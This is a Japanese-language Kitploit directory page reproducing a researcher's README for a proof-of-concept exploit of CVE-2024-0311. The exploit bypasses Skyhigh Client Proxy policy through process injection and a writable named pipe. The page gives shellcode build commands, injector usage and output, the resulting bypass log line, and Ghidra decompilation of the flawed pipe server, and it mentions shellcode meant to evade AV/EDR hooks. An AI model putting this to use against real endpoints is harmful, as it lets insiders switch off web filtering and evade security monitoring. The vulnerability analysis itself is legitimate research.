Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-0311 — CVE-2024-0311の概念実証エクスプロイト。プロセスインジェクションと名前付きパイプ操作によりSkyhigh Client Proxyのポリシーをバイパスし、AV/EDRの制限を回避するカスタムシェルコードを備えています。 | Kitploit
ツール/GitHubGitHub/calligraf0/cve-2024-0311
特権昇格エクスプロイトIDS/IPS回避リバースエンジニアリングシェルコードペイロード開発バイナリエクスプロイト
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

CVE-2024-0311の概念実証エクスプロイト。プロセスインジェクションと名前付きパイプ操作によりSkyhigh Client Proxyのポリシーをバイパスし、AV/EDRの制限を回避するカスタムシェルコードを備えています。

リポジトリを見る
92221年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-0311 ?

これは、私が思うに CVE-2024-0311 および SB10418 の PoC です。

悪意のある内部関係者は、有効なリリースコードなしに Skyhigh Client Proxy の既存ポリシーをバイパスできます。

詳細は多め。エクスプロイト強め。 ¯\(ツ)/¯

この PoC は、ユーザーが実行した SCPBypass.exe プロセスにインジェクションし、SCPService.exe のパイプ \\.\pipe\MCPTrayPipe0 に書き込みを行います。パイプが RW Everyone であっても、WGUARDNT がパイプに書き込む実行ファイルに対していくつかのチェックを行う(ライターパスが検査される)ため、インジェクションが必要です。下記を参照してください。

Trellix/McAfee が稼働していて LoadLibrary をフック/ブロックしている場合でも、パイプへの WriteFile の実行を可能にするサンプルシェルコードが用意されています。

コンパイル

Visual Studio で Debug または Release ビルドします。

シェルコード

以下のようにしてシェルコードを生成します:

cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

その後、シェルコードを shellcode.c に置き換えます。

使用方法

Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

出力例:

PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

すべてがうまくいけば、SCP のログファイルに次のようなエントリが見つかるはずです:

10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

解説

簡潔な解説にする。言葉に費やす時間など誰にもないからね。

Skyhigh Proxy Client

まず、Skyhigh Proxy Client とは何でしょうか?

Skyhigh Security Client Proxy ソフトウェアは、エンドポイントユーザーがネットワークの内部または外部から Web にアクセスする際に生じるセキュリティ脅威から保護するのに役立ちます。 Microsoft Windows または macOS を実行しているエンドポイントにインストールされるクライアントソフトウェアは、Web リクエストをリダイレクトするか、フィルタリングのためにプロキシへ継続させます。サーバーソフトウェアは、Trellix ePO SaaS または Trellix ePO Cloud のいずれかの管理プラットフォーム上で実行されます。

これで明確になったはずです。

根本原因は何か?

アドバイザリからの情報だけでは、手がかりはあまりありません。正直に言うと、私は LPE に悪用しやすい問題を見つけようとバイナリサービスを調べていたところ、CreateNamedPipe を見かけて興味を持ちました。

Ghidra から逆コンパイルしたコードを簡単にコピー&ペーストしたものを示します:

void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

この関数が呼び出されると、新しい DACL 構造体が初期化され、新しいパイプ \\.\pipe\MCPTrayPipe0 が byte mode で作成されることがわかります。

そして、そのようなパイプへのハンドルが有効である限り、プログラムはそこから読み取り、送信されたバイトを atoi(out_lpBuffer) で ASCII から int に変換しようとします。

atoi にはより良い代替手段があるという事実はさておき、atoi の呼び出しが失敗していないと仮定すると、変換された値は FUN_14022d5b0 に渡されます:


undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

これは SetWaitableTimer を呼び出します。ここの文字列は、意図したフローを見つけるのに少し役立ちました。

ここでの要点は、ScpService.exe プロセスが誰が何をパイプに書き込むかをチェックしておらず、データは盲目的に信頼されて受け渡されるだけだということです。さらに、accesschk でパイプのアクセス許可を確認すると、パイプは RW Everyone という結果になります。

したがって、エクスプロイトは基本的に次のことを行うはずです:

  • CreateFile(): パイプへのハンドルを取得
  • SetNamedPipeHandleState(): バイトモードを設定
  • WriteFile(): データを書き込む
  • CloseHandle(): ハンドルを閉じる

これは文字通り PowerShell の数行で実行できます。簡単に勝てるだろう?いいえ。

なぜインジェクションなのか?

物事がそんなに単純ならいいのに!技術的にはすべてそのように機能するように見える一方で、パイプを開こうとすると常にパイプクライアントがタイムアウトしてしまいました。少し深く掘り下げると、サービスが他のどこかで ACL を設定していることに気付きました。

ACL

ツールをダウンロード